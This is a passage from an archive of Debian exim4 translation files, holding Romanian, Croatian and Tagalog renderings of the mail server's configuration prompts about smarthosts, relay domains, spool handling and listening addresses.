#~ "„spool” al lui exim4 (/var/spool/exim4/input) unde vor fi gestionate de " #~ "către exim4." #~ msgid "" #~ "This works only one-way: Exim4 can handle exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Această manevră funcționează doar într-un singur sens: Exim4 poate să " #~ "lucreze cu directorul „spool” al lui exim 3, dar nu și vice-versa. Dacă " #~ "refuzați această opțiune, va trebui să mutați personal mesajele altfel " #~ "ele nu vor fi livrate niciodată." #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "Dacă acest câmp este gol, Exim nu va face livrări locale." #~ msgid "" #~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " #~ "but not the other way round." #~ msgstr "" #~ "Atenție, deoarece această manevră funcționează doar într-un singur sens, " #~ "exim4 putând să lucreze cu directorul „spool” al lui exim(v3), dar nu și " #~ "invers." #~ msgid "" #~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " #~ "the mail shouldn't be moved now but manually once you've converted your " #~ "setup." #~ msgstr "" #~ "Mutați mesajele doar dacă nu plănuiți să vă întoarceți la exim(v3), " #~ "altfel, mesajele n-ar trebui mutate acum, ci manual, după conversia " #~ "configurațiilor." #~ msgid "" #~ "If there are any more, enter them here, separated by semicolons. You may " #~ "leave this blank if there are none." #~ msgstr "" #~ "Dacă mai sunt, introduceți-le aici, separate prin simbolul două puncte. " #~ "Puteți lăsa acest câmp liber dacă nu este cazul." #~ msgid "" #~ "Please enter here the domains for which this system will relay mail, for " #~ "example as a fallback MX or mail gateway." #~ msgstr "" #~ "Vă rugăm să introduceți aici domeniile pentru care acest sistem va " #~ "intermedia transmiterea mesajelor, de exemplu, ca MX de siguranță sau " #~ "„mail gateway”." #~ msgid "" #~ "Such domains are domains for which you are prepared to accept mail from " #~ "anywhere on the Internet. Do not mention local domains here." #~ msgstr "" #~ "Astfel de domenii sunt domenii pentru care sunteți pregătiți să acceptați " #~ "poștă de oriunde din Internet. Nu menționați aici domeniile locale." #~ msgid "" #~ "The domains entered here should be separated by semicolons. Wildcards may " #~ "be used." #~ msgstr "" #~ "Domeniile introduse aici ar trebui să fie separate prin simbolul două " #~ "puncte. Se pot folosi caractere-joker." #~ msgid "" #~ "Since you enabled hiding the local mailname in outgoing mail, you must " #~ "specify the domain name to use for mail from local users; typically this " #~ "is the machine on which you normally receive your mail." #~ msgstr "" #~ "Din moment ce ați activat ascunderea numelui sistemului de poștă local " #~ "pentru mesajele de livrat, trebuie să precizați numele de domeniu care va " #~ "fi utilizat pentru mesaje de la utilizatorii locali; tipic, acesta e " #~ "mașina pe care primiți în mod normal poșta electronică." #~ msgid "Where will your users read their mail?" #~ msgstr "Unde își vor citi utilizatorii dvs. poșta electronică?" #~ msgid "Machine handling outgoing mail for this host (smarthost):" #~ msgstr "" #~ "Mașina care manevrează mesajele de trimis pentru această mașină („smart " #~ "host”):" #~ msgid "Enter the hostname of the machine to which outgoing mail is sent." #~ msgstr "" #~ "Introduceți numele calculatorului către care sunt trimise mesajele de " #~ "trimis." #~ msgid "" #~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " #~ "it." #~ msgstr "" #~ "Activați această facilitate dacă folosiți accese doar-la-cerere; altfel, " #~ "dezactivați-o." #~ msgid "Select the mail server configuration type that best fits your needs." #~ msgstr "" #~ "Alegeți tipul de configurație de server de poștă care se potrivește cel " #~ "mai bine nevoilor dumneavoastră." #~ msgid "If you are unsure then you should not use split configuration." #~ msgstr "" #~ "Dacă sunteți nesigur, atunci nu ar trebui să împărțiți configurația." #~ msgid "manually convert from handcrafted Exim v3 configuration" #~ msgstr "convertire manuală din configurare Exim v3 făcută manual" #~ msgid "Configure Exim4 manually?" #~ msgstr "Se configurează Exim4 manual?" #~ msgid "" #~ "You indicated that you have a handcrafted Exim 3 configuration. To " #~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " #~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgstr "" #~ "Ați indicat că aveți o configurare personalizată pentru Exim 3. Pentru a " #~ "o converti la Exim 4, puteți folosi unealta exim_convert4r4(8) după " #~ "instalare. Consultați /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "și /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgid "" #~ "Until your mail system is configured, it will be broken and cannot be " #~ "used." #~ msgstr "" #~ "Până la configurarea sistemului de mail, acesta va fi nefuncțional și nu " #~ "va putea fi utilizat." #~ msgid "" #~ "Your \"mail name\" is the hostname portion of the address to be shown on " #~ "outgoing news and mail messages (following the username and @ sign) " #~ "unless hidden with rewriting." #~ msgstr "" #~ "\"Numele sistemului de mail\" este porțiunea din numele calculatorului " #~ "care va fi afișată în adresă la mesajele (sau știrile) destinate " #~ "exteriorului (urmează numele de utilizator și semnul @) în cazul în care " #~ "nu este ascuns sau rescris." #~ msgid "" #~ "Please enter here the networks of local machines for which you accept to " #~ "relay the mail." #~ msgstr "" #~ "Vă rugăm să introduceți aici rețelele de mașini locale pentru care " #~ "acceptați să intermediați transmiterea mesajelor." #~ msgid "" #~ "This should include a list of all machines that will use us as a " #~ "smarthost." #~ msgstr "" #~ "Aceasta ar trebui să includă o listă atuturor mașinilor cere ne vor " #~ "folosi ca smarthost." #~ msgid "" #~ "You need to double the colons in IPv6 addresses (e.g. " #~ "5f03::1200::836f::::/48)" #~ msgstr "" #~ "Trebuie să dublați simbolurile două puncte în adresele IPv6 (ex.: " #~ "194.222.242.0/24)" #~ msgid "" #~ "Enter a colon-separated list of IP-addresses to listen on. You need to " #~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." #~ msgstr "" #~ "Introduceți o listă de IP-uri separate prin simbolul două puncte, care " #~ "așteaptă conexiuni. Trebuie să dublați simbolurile două puncte în " #~ "adresele IPv6 (ex.: 5f03::1200::836f::::)." #~ msgid "Configuring Exim v4 (exim4-config)" #~ msgstr "Se configurează Exim v4 (exim4-config)" debian/po/hr.po0000644000000000000000000005612212027557533010574 0ustar # msgid "" msgstr "" "Project-Id-Version: Debian installer HR\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2006-10-22 14:35+0200\n" "Last-Translator: Josip Rodin \n" "Language-Team: Croatian \n" "Language: hr\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Ukloni neposlane poruke iz 'spool' direktorija?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Postoje poruke e-pošte u Eximovom 'spool' direktoriju /var/spool/exim4/input " "koje još nisu isporučene. Uklanjanjem Exima će one ostati neisporučene dok " "se Exim ne instalira ponovo." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Ako ne odaberete ovu opciju, 'spool' direktorij će biti očuvan, što će " "omogućiti porukama koje čekaju u redu da se isporuče kasnije, nakon " "reinstalacije Exima." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Napravite rekonfiguraciju exim4-config umjesto ovog paketa" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 ima svoje postavke izdvojene u zasebni paket nazvan exim4-config. Za " "rekonfiguriranje Exima 4 koristite 'dpkg-reconfigure exim4-config'." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "mrežno sjedište; pošta se šalje i prima izravno rabeći SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "pošta se šalje po 'smarthost'-u; prima preko SMTP ili 'fethchmail'-a" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "pošta se šalje po 'smarthost'-u; lokalne pošte nema" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "samo lokalna dostava; nema mrežne" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "zasad ne podešavaj" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Opći način podešavanja pošte:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Molim izaberite postavke poslužitelja e-pošte koje vam najviše odgovaraju." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Sustavi s promjenjivom IP adresom, uključujući sustave koji se na mrežu " "spajaju povremeno ('dial-up'), bi općenito trebali biti podešeni tako da " "odlaznu poštu šalju na isporuku drugom stroju, zvanom \"smarthost\", zato " "što mnogi sustavi na Internetu koji e-poštu primaju dolazne poruke sa " "promjenjivih IP adresa blokiraju, to im je mjera protiv spama." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Sustav s promjenjivom IP adresom može primati svoju poštu, ili se lokalna " "isporuka može u potpunosti ugasiti (osim pošte za root i postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Stvarno ostaviti sustav e-pošte nepodešen?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Dok ga ne podesite, sustav e-pošte će biti neispravan i beskoristan. " "Naknadno podešavanje možete napraviti ili ručno ili tako da pokrenete " "naredbu 'dpkg-reconfigure exim4-config', prijavljeni kao root korisnik." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Ime sustava e-pošte:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "Ime sustava e-pošte je ime računala koje se koristi za \"kvalificiranje\" " "adresa e-pošte koje ne sadrže ime domene." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "To će ime koristiti i drugi programi. Ono treba biti jedinstveno, potpuno " "ime domene (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Naprimjer, ako je e-mail adresa na lokalnom stroju foo@primjer.domene, onda " "je ispravna vrijednost za ovu opciju primjer.domene." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "To ime se neće pojavljivati u 'From:' polju odlaznih poruka ako omogućite " "prepisivanje." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Ostala odredišta za koja se pošta prihvaća:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Molim unesite popis domena primatelja e-pošte odvojen točka-zarezima za koje " "se ovaj stroj smatra konačnim odredištem. Ove domene se obično nazivaju " "\"lokalnim domenama\". Ime sustava e-pošte (${fqdn}) i ime 'localhost' se " "uvijek automatski dodaju na popis koji se upiše ovdje." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Sve će lokalne domene isprva biti tretirane jednako. Ako su i a.primjer i b." "primjer lokalne domene, poruke za korisnik@a.primjer i korisnik@b.primjer će " "biti isporučene na isto konačno odredište. Ako se različite domene trebaju " "tretirati različito, potrebno je naknadno urediti konfiguracijske datoteke." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Domene za koje se pošta prenosi:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Ovo je popis domena primatelja odvojen točka-zarezima za koje će ovaj sustav " "prenositi e-poštu, naprimjer kao sekundarni MX ili mail gateway. To znači da " "će ovaj sustav primati poruke za ove domene od bilo koga s Interneta, i " "isporučivati ih na osnovu lokalnih pravila za isporuku." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "" "Nemojte ovdje spominjati lokalne domene. Možete koristiti zamjenske znakove." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Strojevi za koje se pošta prenosi:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Molim upišite popis raspona IP adresa odvojenih točka-zarezima za koje će " "ovaj sustav prenositi svu e-poštu, radeći kao 'smarthost'." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Rabite standardni oblik adresa/prefiks (npr. 194.222.242.0/24 ili " "5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Ako ovaj sustav ne treba biti 'smarthost' ni za jedan drugi stroj, ostavite " "popis prazan." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Ime domene vidljivo lokalnim korisnicima:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Omogućeno je skrivanje lokalnog imena sustava e-pošte u odlaznoj pošti. Zato " "je potrebno odrediti ime koje će ovaj sustav koristiti kao domenski dio " "adresa e-pošte lokalnih korisnika." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "IP adresa ili ime stroja za odlazni 'smarthost':" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Molim upišite IP adresu ili ime poslužitelja e-pošte kojeg ovaj sustav treba " "koristiti kao odlazni 'smarthost'. Ako 'smarthost' prima vašu poštu na portu " "koji nije TCP/25, dodajte dvije dvotočke i željeni broj porta (naprimjer " "smarthost.primjer::587 ili 192.168.254.254::2525). Dvotočke u IPv6 adresama " "treba poduplati." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Ako odlazni 'smarthost' zahtijeva autentikaciju (ovjeru pristupa), molim " "pogledajte Debianove README datoteke u /usr/share/doc/exim4-base za " "obavijesti kako postaviti ovjeravanje SMTP-a." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Primatelj pošte za korijenskog korisnika i 'postmaster'-a:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "E-pošta za \"postmaster\", \"root\", i druge sistemske korisničke račune " "treba biti preusmjerena na korisnički račun stvarnog administratora sustava." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Ako ovu vrijednost ostavite praznom, takva e-pošta će se spremiti u /var/" "mail/mail, što se ne preporuča." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Znajte da poštu za 'postmastera' treba čitati na sustavu na koji je " "usmjerena, radije nego da je se proslijedi drugdje. Zato barem jedan od " "korisnika koje ste izabrali ne bi trebao preusmjeravati svoju poštu s ovoga " "stroja. Rabite predznak 'real-' kako bi prisilili na lokalnu dostavu." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Ako upisujete više korisničkkih imena, odvojite ih razmacima." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "IP adrese na kojima treba slušati dolazeće SMTP veze:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Molim unesite popis IP adresa odvojen točka-zarezima. Eximov 'daemon' za " "slušanje na SMTP portu će slušati na svim ovdje navedenim IP adresama." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Ako ostavite prazno, Exim će slušati na SMTP portovima svih dostupnih " "mrežnih sučelja." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Ako ovo računalo izravno prima e-poštu samo preko lokalnih servisa (a ne s " "drugih strojeva), preporučuje se zabraniti izvanjske veze s Eximom. To se " "događa ako koristite program za e-poštu (MUA) koji priča s poslužiteljem " "samo putem localhosta, ili kod korištenja fetchmaila. Izvanjske veze su " "nemoguće ako ovdje upišete 127.0.0.1 i tako onemogućite slušanje SMTP veza " "na javnim mrežnim sučeljima." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Održi najmanji broj DNS upita (spajanje na zahtjev)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "U normalnom načinu rada, Exim vrši DNS upite pri pokretanju, primanju ili " "isporuci poruka. To se radi zbog bilježenja i da bi se u postavkama moglo " "držati što manje ručno upisanih vrijednosti." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Ako je ovo stroj bez stalnog pristupa DNS imenskom poslužitelju (naprimjer, " "ako pristup na Internet ostvaruje povremenom vezom koja se spaja na " "zahtjev), ovo može imati neželjenih posljedica. Naprimjer, samo pokretanje " "Exima ili prolazak kroz red poruka (čak i ako u njemu ne čeka nijedna " "poruka) može prouzročiti skupo pozivanje zbog spajanja na mrežu." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Ovu opciju treba odabrati ako ovaj sustav koristi spajanje na zahtjev. Ako " "on ima stalni pristup Internetu, ovu opciju treba onemogućiti." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Podešavanje poslužitelja e-pošte" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Razdijeli postavke u male datoteke?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Debianovi exim4 paketi mogu rabiti ili \"nerazdijeljene postavke\", jednu " "monolitnu datoteku (/etc/exim4/exim4.conf.template), \"razdijeljene postavke" "\", pri čemu se postavke Exima slažu iz oko 50 malih datoteka koje se nalaze " "u /etc/exim4/conf.d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Nerazdijeljene postavke bolje odgovaraju većim promjenama i općenito su " "stabilnije, dok razdijeljene postavke olakšavaju manje izmjene, ali su i " "krhkije i mogu zakazati ako se neoprezno mijenjaju." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Detaljnija diskusija razdijeljenih i nerazdijeljenih postavki se može " "pronaći u Debianovim README datotekama u /usr/share/doc/exim4-base." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Skrij lokalno ime e-mail sustava u odlaznoj pošti?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Zaglavlja odlazne pošte se mogu prepisati tako da izgledaju kao da su " "načinjena na drugome sustavu. Ako odaberete ovu opciju, prepisivat će se " "oznake \"${mailname}\", \"localhost\" i \"${dc_other_hostnames}\" u " "zaglavljima 'From', 'Reply-To', 'Sender' i 'Return-Path'." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "mbox oblik u /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Maildir oblik u home direktorijima" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Način isporuke lokalne pošte:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim može lokalno isporučenu poštu spremati u različitim oblicima. Dva " "najčešće korištena oblika su mbox i Maildir. mbox koristi jednu datoteku za " "cijelu mapu e-pošte i sprema je u /var/mail/. Kod oblika Maildir, svaka " "pojedina poruka se sprema u zasebnu datoteku u ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Imajte na umu da većina alata za rad s mailom u Debianu očekuje da će način " "isporuke lokalne pošte biti mbox." debian/po/tl.po0000644000000000000000000006645412027557533010613 0ustar # Tagalog messages for exim # Copyright (C) 2005 Software in the Public Interest, Inc. # This file is distributed under the same license as exim. # Itong tipunan ay ipinamamahagi sa parehong lisensya ng exim. # Eric Pareja , 2005 # # This file is maintained by Eric Pareja # Itong tipunan ay inaalagaan ni Eric Pareja # msgid "" msgstr "" "Project-Id-Version: exim\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2005-01-20 00:35+0800\n" "Last-Translator: Eric Pareja \n" "Language-Team: Tagalog \n" "Language: tl\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 #, fuzzy msgid "Remove undelivered messages in spool directory?" msgstr "Tanggalin ang hindi naihatid na mga koreo sa spool directory?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 #, fuzzy msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "May mga koreo sa exim spool directory /var/spool/exim4/input na hindi pa " "naihahatid. Maaari niyong panatilihin ang mga ito kung sakaling magpasiya " "kayong mag-install ng Exim muli sa hinaharap, o maaari niyong piliin na " "sila'y tanggalin." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "" "internet site; hinahatid at tinatanggap ang koreo direkta gamit ang SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "koreo pinapadala sa smarthost; tinatanggap via SMTP o fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "koreo pinapadala sa smarthost; walang lokal na koreo" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "lokal na paghatid lamang; hindi nakakabit sa network" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "walang pagsasaayos sa ngayon" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Pangkalahatang pagsasaayos ng koreo:" #. Type: select #. Description #: ../exim4-config.templates:1002 #, fuzzy msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "Piliin ang uri ng pagsasaayos na akma sa inyong pangangailangan." #. Type: select #. Description #: ../exim4-config.templates:1002 #, fuzzy msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, 